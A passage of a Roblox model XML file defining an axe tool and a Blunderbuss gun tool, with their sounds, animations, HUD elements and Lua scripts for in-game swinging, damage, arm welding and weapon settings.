						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4044">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4045">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4046">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4047">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4048">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4049">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4050">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4051">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4052">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4053">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="StringValue" referent="RBX4054">
				<Properties>
					<string name="Name">RunAnim</string>
					<string name="Value">RightSlash</string>
				</Properties>
			</Item>
			<Item class="BoolValue" referent="RBX4055">
				<Properties>
					<string name="Name">Taunting</string>
					<bool name="Value">false</bool>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4056">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Local Gui</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


local sp=script.Parent
local sword=sp.Handle


enabled=true
taunting=false

function onButton1Down(mouse)
&#9;if not enabled then
&#9;&#9;return
&#9;end
&#9;enabled=false
&#9;mouse.Icon=&quot;rbxasset://textures\\GunWaitCursor.png&quot;
&#9;wait(1.25)
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;enabled=true
end


function onEquippedLocal(mouse)
&#9;local currentlast=lastequipped
&#9;if mouse==nil then
&#9;&#9;print(&quot;Mouse not found&quot;)
&#9;&#9;return 
&#9;end
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;mouse.Button1Down:connect(function()
&#9;&#9;onButton1Down(mouse)
&#9;end)
&#9;mouse.KeyDown:connect(function(key)
&#9;&#9;key=string.lower(key)
&#9;&#9;if key==&quot;l&quot; or key==&quot;t&quot; or key==&quot;g&quot; then&#9;-- :3
&#9;&#9;&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;if h~=nil then
&#9;&#9;&#9;&#9;sp.Taunting.Value=true
&#9;&#9;&#9;&#9;h.WalkSpeed=0
&#9;&#9;&#9;&#9;tauntanim=h:LoadAnimation(sp.Taunt)
&#9;&#9;&#9;&#9;tauntanim:Play()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(1.4)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;h.WalkSpeed=16
&#9;&#9;&#9;&#9;sp.Taunting.Value=false
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end)
end
sp.Equipped:connect(onEquippedLocal)

while sp:FindFirstChild(&quot;RunAnim&quot;)==nil do
&#9;wait()
end
sp.RunAnim.Changed:connect(function()
&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;local t=sp.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;local anim=sp:FindFirstChild(sp.RunAnim.Value)
&#9;if anim and t and h then
&#9;&#9;theanim=h:LoadAnimation(anim)
&#9;&#9;if theanim and h.Health&gt;0 then
&#9;&#9;&#9;theanim:Play()
&#9;&#9;&#9;if sp.RunAnim.Value==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;&#9;wait(.25)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(.5)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4057">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74894663</url></Content>
					<string name="Name">LeftSlash</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4058">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=96559159</url></Content>
					<string name="Name">OverHeadSwing</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4059">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=96559161</url></Content>
					<string name="Name">RightSlash</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4060">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74901237</url></Content>
					<string name="Name">Taunt</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4061">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">SwordScript</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


sp=script.Parent

r=game:service(&quot;RunService&quot;)


anims={&quot;RightSlash&quot;,&quot;LeftSlash&quot;,&quot;OverHeadSwing&quot;}

basedamage=5
slashdamage=18
swingdamage=28
damage=basedamage

sword=sp.Handle
sp.Taunting.Value=false

local SlashSound=Instance.new(&quot;Sound&quot;)
SlashSound.SoundId=&quot;rbxasset://sounds\\swordslash.wav&quot;
SlashSound.Parent=sword
SlashSound.Volume=.7

local UnsheathSound=Instance.new(&quot;Sound&quot;)
UnsheathSound.SoundId=&quot;rbxasset://sounds\\unsheath.wav&quot;
UnsheathSound.Parent=sword
UnsheathSound.Volume=1


function blow(hit)
&#9;if (hit.Parent==nil) then return end -- happens when bullet hits sword
&#9;local humanoid=hit.Parent:findFirstChild(&quot;Humanoid&quot;)
&#9;local vCharacter=sp.Parent
&#9;local vPlayer=game.Players:playerFromCharacter(vCharacter)
&#9;local hum=vCharacter:findFirstChild(&quot;Humanoid&quot;) -- non-nil if sp held by a character
&#9;if humanoid~=nil and humanoid~=hum and hum~=nil then
&#9;&#9;-- final check, make sure sword is in-hand

&#9;&#9;local right_arm = vCharacter:FindFirstChild(&quot;Right Arm&quot;)
&#9;&#9;if (right_arm ~= nil) then
&#9;&#9;&#9;local joint = right_arm:FindFirstChild(&quot;RightGrip&quot;)
&#9;&#9;&#9;if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
&#9;&#9;&#9;&#9;taggedPlayer = game.Players:GetPlayerFromCharacter(hit.Parent)
&#9;&#9;&#9;&#9;if taggedPlayer ~= nil then
&#9;&#9;&#9;&#9;&#9;if taggedPlayer.Neutral == false and vPlayer.Neutral == false then
&#9;&#9;&#9;&#9;&#9;&#9;if taggedPlayer.TeamColor ~= vPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;wait(.8)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;elseif taggedPlayer.Neutral == true and vPlayer.Neutral == true then
&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;wait(.8)
&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;elseif taggedPlayer == nil then
&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;wait(.8)
&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end


&#9;end
end

function tagHumanoid(humanoid, player)
&#9;local creator_tag=Instance.new(&quot;ObjectValue&quot;)
&#9;creator_tag.Value=player
&#9;creator_tag.Name=&quot;creator&quot;
&#9;creator_tag.Parent=humanoid
end

function untagHumanoid(humanoid)
&#9;if humanoid~=nil then
&#9;&#9;local tag=humanoid:findFirstChild(&quot;creator&quot;)
&#9;&#9;if tag~=nil then
&#9;&#9;&#9;tag.Parent=nil
&#9;&#9;end
&#9;end
end

sp.Enabled=true
function onActivated()
&#9;if sp.Enabled and not sp.Taunting.Value then
&#9;&#9;sp.Enabled=false
&#9;&#9;local character=sp.Parent;
&#9;&#9;local humanoid=character.Humanoid
&#9;&#9;if humanoid==nil then
&#9;&#9;&#9;print(&quot;Humanoid not found&quot;)
&#9;&#9;&#9;return 
&#9;&#9;end
&#9;&#9;SlashSound:play()
&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;while newanim==sp.RunAnim.Value do
&#9;&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;end
&#9;&#9;sp.RunAnim.Value=newanim
&#9;&#9;if newanim==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;damage=swingdamage
&#9;&#9;else
&#9;&#9;&#9;damage=slashdamage
&#9;&#9;end
&#9;&#9;wait(.8)
&#9;&#9;damage=basedamage
&#9;&#9;sp.Enabled=true
&#9;end
end

function onEquipped()
&#9;UnsheathSound:play()
end

sp.Activated:connect(onActivated)
sp.Equipped:connect(onEquipped)

connection=sword.Touched:connect(blow)


</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX4062">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0.200000003</X>
					<Y>-0.200000003</Y>
					<Z>-0.300000012</Z>
					<R00>0.970145345</R00>
					<R01>-2.23517418e-008</R01>
					<R02>0.242524207</R02>
					<R10>0.242512077</R10>
					<R11>0.00999963284</R11>
					<R12>-0.970096886</R12>
					<R20>-0.00242512673</R20>
					<R21>0.999949992</R21>
					<R22>0.00970113277</R22>
				</CoordinateFrame>
				<string name="Name">Blunderbuss</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=126960453</url></Content>
				<string name="ToolTip">Blunderbuss</string>
			</Properties>
			<Item class="Part" referent="RBX4063">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>3.48400021</X>
						<Y>0.742000043</Y>
						<Z>-25.7020016</Z>
						<R00>-0.938740253</R00>
						<R01>-0.344607472</R01>
						<R02>0.00344610214</R02>
						<R10>-5.96046448e-008</R10>
						<R11>0.00999981165</R11>
						<R12>0.999949872</R12>
						<R20>-0.344624698</R20>
						<R21>0.938693464</R21>
						<R22>-0.0093870163</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>4</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="Sound" referent="RBX4064">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">1.10000002</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://roblox.com/asset/?id=10209842 </url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4065">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">0.5</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://roblox.com/asset/?id=10209636</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4066">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">PumpSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4067">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209813</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX4068">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4069">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="SpecialMesh" referent="RBX4070">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=40825946</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX4071">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=94331086</url></Content>
					<string name="Name">Recoil</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4072">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local welds = {}
local down = false

function Equip(mouse)
&#9;wait(0.01)
&#9;arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
&#9;torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = nil
&#9;&#9;&#9;&#9;sh[2].Part1 = nil
&#9;&#9;&#9;&#9;local weld1 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld1.Part0 = torso
&#9;&#9;&#9;&#9;weld1.Parent = torso
&#9;&#9;&#9;&#9;weld1.Part1 = arms[1]
&#9;&#9;&#9;&#9;weld1.C1 = CFrame.new(0, 1.4, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
&#9;&#9;&#9;&#9;welds[1] = weld1
&#9;&#9;&#9;&#9;local weld2 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld2.Part0 = torso
&#9;&#9;&#9;&#9;weld2.Parent = torso
&#9;&#9;&#9;&#9;weld2.Part1 = arms[2]
&#9;&#9;&#9;&#9;weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
&#9;&#9;&#9;&#9;welds[2] = weld2
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

function Unequip(mouse)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = arms[1]
&#9;&#9;&#9;&#9;sh[2].Part1 = arms[2]
&#9;&#9;&#9;&#9;welds[1].Parent = nil
&#9;&#9;&#9;&#9;welds[2].Parent = nil
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="ScreenGui" referent="RBX4073">
				<Properties>
					<string name="Name">WeaponHud</string>
				</Properties>
				<Item class="Frame" referent="RBX4074">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">AmmoHud</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-60</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
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						<bool name="Visible">true</bool>
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					<Item class="TextLabel" referent="RBX4075">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
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							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
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							<string name="Name">ForwardSlash</string>
							<UDim2 name="Position">
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							<string name="Text">/</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
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							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
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							<bool name="Visible">true</bool>
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					</Item>
					<Item class="TextLabel" referent="RBX4076">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ClipAmmo</string>
							<UDim2 name="Position">
								<XS>0.449999988</XS>
								<XO>0</XO>
								<YS>0.5</YS>
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							<UDim2 name="Size">
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							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4077">
						<Properties>
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							<Color3 name="BackgroundColor3">4288914085</Color3>
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							<Color3 name="BorderColor3">4279970357</Color3>
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							<bool name="ClipsDescendants">false</bool>
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							<token name="Font">0</token>
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							<string name="Name">TotalAmmo</string>
							<UDim2 name="Position">
								<XS>0.550000012</XS>
								<XO>0</XO>
								<YS>0.5</YS>
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							<UDim2 name="Size">
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				<Item class="Frame" referent="RBX4078">
					<Properties>
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						<Color3 name="BackgroundColor3">4278255360</Color3>
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						<Color3 name="BorderColor3">4279970357</Color3>
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						<bool name="ClipsDescendants">false</bool>
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						<string name="Name">Crosshair</string>
						<UDim2 name="Position">
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							<XO>500</XO>
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							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">TopFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>-0.5</YS>
								<YO>-7</YO>
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							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
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								<YO>14</YO>
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							<Color3 name="BackgroundColor3">4294967295</Color3>
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							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">RightFrame</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
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							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
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								<YO>2</YO>
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							<token name="SizeConstraint">0</token>
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							<bool name="Visible">true</bool>
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						<Properties>
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							<Color3 name="BackgroundColor3">4294967295</Color3>
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							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">LeftFrame</string>
							<UDim2 name="Position">
								<XS>-0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
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							<UDim2 name="Size">
								<XS>0</XS>
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								<YO>2</YO>
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							<token name="SizeConstraint">0</token>
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							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="ImageLabel" referent="RBX4082">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<Content name="Image"><url>http://www.roblox.com/asset/?id=115400215</url></Content>
							<string name="Name">TargetHitImage</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-25</XO>
								<YS>0</YS>
								<YO>-25</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>50</XO>
								<YS>0</YS>
								<YO>50</YO>
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							<token name="SizeConstraint">0</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4083">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">6</token>
							<string name="Name">ReloadingLabel</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>20</XO>
								<YS>0</YS>
								<YO>-20</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Reloading</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
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							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX4084">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">BottomFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>0.5</YS>
								<YO>-7</YO>
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							<UDim2 name="Size">
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								<XO>2</XO>
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							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
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				<Item class="Frame" referent="RBX4085">
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						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
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						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
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					<Item class="TextLabel" referent="RBX4086">
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							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
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								<YS>0.5</YS>
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							<string name="Text">Press R to Reload</string>
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							<bool name="TextScaled">false</bool>
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							<bool name="TextWrapped">false</bool>
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							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
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					</Item>
				</Item>
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			<Item class="LocalScript" referent="RBX4087">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Blunderbuss</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 6
-- How many times per second the gun can fire
local FireRate = 1 / 3
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 200
-- In radians the minimum accuracy penalty
local MinSpread = 0.066
-- In radian the maximum accuracy penalty
local MaxSpread = 0.16
-- Number of bullets in a clip
local ClipSize = 1
-- DefaultValue for spare ammo
local SpareAmmo = 15
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.03
-- Time it takes to reload weapon
local ReloadTime = 4
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

